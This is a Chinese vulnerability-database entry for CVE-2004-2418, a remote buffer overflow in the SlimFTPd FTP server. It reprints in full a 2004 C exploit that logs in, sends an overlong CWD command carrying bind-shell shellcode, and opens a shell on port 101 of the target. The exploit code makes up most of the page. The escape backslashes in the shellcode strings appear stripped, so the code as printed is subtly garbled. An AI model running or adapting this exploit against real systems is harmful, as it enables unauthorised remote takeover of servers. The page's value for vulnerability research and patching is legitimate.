WhitSoft Development SlimFTPd远程缓冲区溢出漏洞

WhitSoft Development SlimFTPd远程缓冲区溢出漏洞

漏洞ID 1108272 漏洞类型 缓冲区溢出
发布时间 2004-11-10 更新时间 2005-10-20
图片[1]-WhitSoft Development SlimFTPd远程缓冲区溢出漏洞-安全小百科CVE编号 CVE-2004-2418
图片[2]-WhitSoft Development SlimFTPd远程缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200412-300
漏洞平台 Windows CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/623
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-300
|漏洞详情
SlimFTPd3.15及其以前的版本存在缓冲区溢出漏洞。本地用户借助超长命令,比如:(1)CWD,(2)STOR,(3)MKD,和(4)STAT执行任意代码。
|漏洞EXP
/*
 
 
 
SlimFTPd <= 3.15, Remote Buffer Overflow Exploit v0.1.
Bind a shellcode to the port 101.
 
Full disclosure and exploit
by class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
10 november 2004
 
Thanx to HDMoore and Metasploit.com for their kickass ASM work.
 

------------------
WHAT IS SLIMFTPD
------------------
 
Homepage - http://www.whitsoftdev.com/slimftpd/
 
 SlimFTPd is a fully standards-compliant FTP server implementation with an advanced
 virtual file system.It is extremely small, but don't let its file size deceive you:
 SlimFTPd packs a lot of bang for the kilobyte. It is written in pure Win32 C++ with
 no external dependencies and no messy installer. SlimFTPd is a fully multi-threaded
 application that runs as a system service on Windows 98/ME or Windows NT/2K/XP, and
 it comes with a tool to simplify its installation or uninstallation as a system service.
 Once the service is started, SlimFTPd runs quietly in the background.
 It reads its configuration from a config file in the same folder as the executable,
 and it outputs all activity to a log file in the same place.
 The virtual file system allows you to mount any local drive or path to any virtual
 path on the server. This allows you to have multiple local drives represented on the
 server's virtual file system or just different folders from the same drive.
 SlimFTPd allows you to set individual permissions for server paths.
 Open slimftpd.conf in your favorite text editor to set up SlimFTPd's configuration.
 The format of SlimFTPd's config file is similar to Apache Web Server's for those
 familiar with Apache.
 

--------------
VULNERABILITY
--------------
 
 A simple buffer overflow when a large buffer is passed to different commands,
 CWD, STOR, MKD, STAT etc.., nothing more, the attacker need to be logged in,
 read the code for further instructions.
 
----
FIX
----
 
 Actually none, the vendor is contacted, is warning users, and working on a fix.
 
----
EXTRA
----
  
 Ok I'll try to explain what happen in this one with my crap english...
 As you can notice , I havent used as usual a CALL/JMP offset address from a DLL.
 Why ? Because if you debug, you will notice that we are able to overwrite
 only 3/4 bytes of EIP maximum due to a buffer length restriction in the ftp server (~500bytes).
 The 4th byte will always point to 00. But this 00 is enough helpful to fake there my
 magic ret ;p
 Ok once you understand what is this magic ret , I think that you understanded all there...
 
----
BY
----
 
    class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
       who
        F.U.C.K
    K-OTik.com displaying the half part of codes they receive
 (also some other friends to me noticed it..., another ie:
 JPEG Exploits, 6 or 7 mirrors displayed, poor assh0les...)
 

*/
 
#include "winsock2.h"
#include "fstream.h"
 

char scode[] = "xEB"
"x0Fx58x80x30x88x40x81x38x68x61x63x6Bx75xF4xEBx05xE8xECxFFxFF"
"xFFx60xDEx88x88x88xDBxDDxDExDFx03xE4xACx90x03xCDxB4x03xDCx8D"
"xF0x89x62x03xC2x90x03xD2xA8x89x63x6BxBAxC1x03xBCx03x89x66xB9"
"x77x74xB9x48x24xB0x68xFCx8Fx49x47x85x89x4Fx63x7AxB3xF4xACx9C"
"xFDx69x03xD2xACx89x63xEEx03x84xC3x03xD2x94x89x63x03x8Cx03x89"
"x60x63x8AxB9x48xD7xD6xD5xD3x4Ax80x88xD6xE2xB8xD1xECx03x91x03"
"xD3x84x03xD3x94x03x93x03xD3x80xDBxE0x06xC6x86x64x77x5Ex01x4F"
"x09x64x88x89x88x88xDFxDExDBx01x6Dx60xAFx88x88x88x18x89x88x88"
"x3Ex91x90x6Fx2Cx91xF8x61x6DxC1x0ExC1x2Cx92xF8x4Fx2Cx25xA6x61"
"x51x81x7Dx25x43x65x74xB3xDFxDBxBAxD7xBBxBAx88xD3x05xC3xA8xD9"
"x77x5Fx01x57x01x4Bx05xFDx9CxE2x8FxD1xD9xDBx77xBCx07x77xDDx8C"
"xD1x01x8Cx06x6Ax7AxA3xAFxDCx77xBFx77xDDxB8xB9x48xD8xD8xD8xD8"
"xC8xD8xC8xD8x77xDDxA4x01x4FxB9x53xDBxDBxE0x8Ax88x88xEDx01x68"
"xE2x98xD8xDFx77xDDxACxDBxDFx77xDDxA0xDBxDCxDFx77xDDxA8x01x4F"
"xE0xCBxC5xCCx88x01x6Bx0Fx72xB9x48x05xF4xACx24xE2x9DxD1x7Bx23"
"x0Fx72x09x64xDCx88x88x88x4ExCCxACx98xCCxEEx4FxCCxACxB4x89x89"
"x01xF4xACxC0x01xF4xACxC4x01xF4xACxD8x05xCCxACx98xDCxD8xD9xD9"
"xD9xC9xD9xC1xD9xD9xDBxD9x77xFDx88xE0xFAx76x3Bx9Ex77xDDx8Cx77"
"x58x01x6Ex77xFDx88xE0x25x51x8Dx46x77xDDx8Cx01x4BxE0x77x77x77"
"x77x77xBEx77x5Bx77xFDx88xE0xF6x50x6AxFBx77xDDx8CxB9x53xDBx77"
"x58x68x61x63x6Bx90";
 
char cmd[]="CWD ";
char call[]="xb2x06x40"; // Magicret ;p
 
#pragma comment(lib, "ws2_32")
 

void usage(char* us);
WSADATA wsadata;
void ver();
 
static char payload[5000];
 
int main(int argc,char *argv[])
{
 ver();
 if ((argc<5)||(argc>6)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}
 if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
 char *login=argv[2], *passwd=argv[3], data[10], recvbuf2[100], recvbuf[100], rootbuf[100], logbuf[100], logbuf2[100], pdbuf[100], pdbuf2[100];
 int ip=htonl(inet_addr(argv[4])), sz, a, sizeA, lgth, port;
 if (argc==6){port=atoi(argv[5]);}
 else port=21;
 char *os;
 if (atoi(argv[1]) == 1){os="Win2k based system";}
 if (atoi(argv[1]) == 1){os="Win2k based system";}
 if (atoi(argv[1]) == 2){os="WinXP based system";}
 if (atoi(argv[1]) == 2){os="WinXP based system";}
 SOCKET s;
 struct fd_set mask;
 struct timeval timeout;
 struct sockaddr_in server;
 s=socket(AF_INET,SOCK_STREAM,0);
 if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
 cout<<"[+] target: "<<os<<endl;   
 server.sin_family=AF_INET;
 server.sin_addr.s_addr=htonl(ip);
 server.sin_port=htons(port);
 WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
 timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
 switch(select(s+1,NULL,&mask,NULL,&timeout))
 {
  case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
  case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
  default:
  if(FD_ISSET(s,&mask))
  {
   cout<<"[+] connected, login in process..."<<endl;
   Sleep(100);recv(s,recvbuf2,100,0);
   if (!strstr(recvbuf2,"220")){cout<<"[+] this is not an ftp server, quitting..."<<endl;return -1;}
   strcpy(logbuf,"USER ");strcpy(logbuf2,login);strcpy(pdbuf,"PASS ");strcpy(pdbuf2,passwd);strcpy(rootbuf,"STOU AUX");strcpy(data,"rn");
   if (send(s,logbuf,strlen(logbuf),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (send(s,logbuf2,strlen(logbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   Sleep(1000);
   if (send(s,pdbuf,strlen(pdbuf),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (send(s,pdbuf2,strlen(pdbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   Sleep(1000);
   if (recv(s,recvbuf,200,0)==SOCKET_ERROR){ cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (strstr(recvbuf,"530")){ cout<<"[+] wrong login or passwd"<<endl;return -1;}
   cout<<"[+] login success!"<<endl;Sleep(1000);cout<<"[+] sending the exploit string"<<endl;
   if (atoi(argv[1]) == 1){lgth=500+1;}
   if (atoi(argv[1]) == 2){lgth=498+1;}
   sizeA=lgth-sizeof(scode);
   sz=(sizeA-1)+sizeof(scode)+10;
   memset(payload,0,sizeof(payload));
   strcat(payload,cmd);strcat(payload,"x41x41x41");
   strcat(payload,scode);
   for (a=0;a<sizeA;a++){strcat(payload,"x41");}
   strcat(payload,call);
   strcat(payload,"rn");
   Sleep(1000);
      if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
   if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
   Sleep(1000);
   cout<<"[+] size of payload: "<<sz<<endl;   
   cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
   return 0;
  }
 }
 closesocket(s);
 WSACleanup();
 return 0;
}
 
void usage(char* us)
{ 
 cout<<"USAGE: 101_slim.exe Target Login Pass Ip Portn"<<endl;
 cout<<"TARGETS:                               "<<endl;
 cout<<"      [+] 1. Win2k SP4 English Pro    (*)"<<endl;
 cout<<"      [+] 1. Win2k SP4 English Server (*)"<<endl;
 cout<<"      [+] 1. Win2k all others            "<<endl;
 cout<<"      [+] 2. WinXP SP1 English Pro    (*)"<<endl;
 cout<<"      [+] 2. WinXP SP1 French Pro     (*)"<<endl;
 cout<<"      [+] 2. WinXP all others            "<<endl;
 cout<<"NOTE:                               "<<endl;
 cout<<"      The port 21 is default if no port are specified"<<endl;
 cout<<"      The exploit bind a shellcode to the port 101"<<endl;
 cout<<"      A wildcard (*) mean Tested."<<endl;
 return;
}
void ver()
{ 
cout<<endl;
cout<<"                                                                   "<<endl;
cout<<"        ===================================================[v0.1]===="<<endl;
cout<<"        ========SlimFTPd, Tiny FTP Server for Windows <= v3.15======="<<endl;
cout<<"        =============Remote Buffer Overflow Exploit=================="<<endl;
cout<<"        ====coded by class101===========[DFind.kd-team.com 2004]====="<<endl;
cout<<"        ============================================================="<<endl;
cout<<"                                                                   "<<endl;
}

// milw0rm.com [2004-11-10]
|参考资料

来源:BID
名称:11645
链接:http://www.securityfocus.com/bid/11645
来源:OSVDB
名称:11604
链接:http://www.osvdb.org/11604
来源:SECTRACK
名称:1012167
链接:http://securitytracker.com/id?1012167
来源:SECUNIA
名称:13161
链接:http://secunia.com/advisories/13161
来源:XF
名称:slimftpd-multiple-command-bo(18014)
链接:http://xforce.iss.net/xforce/xfdb/18014
来源:www.whitsoftdev.com
链接:http://www.whitsoftdev.com/slimftpd/
来源:FULLDISC
名称:20041110[Advisory+Exploit]SlimFTPd<=3.15
链接:http://archives.neohapsis.com/archives/fulldisclosure/2004-11/0293.html

相关推荐: xinetd 2.1.8.x连接限制漏洞

xinetd 2.1.8.x连接限制漏洞 漏洞ID 1206476 漏洞类型 未知 发布时间 2000-06-04 更新时间 2005-05-02 CVE编号 CVE-2000-0536 CNNVD-ID CNNVD-200006-013 漏洞平台 N/A C…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享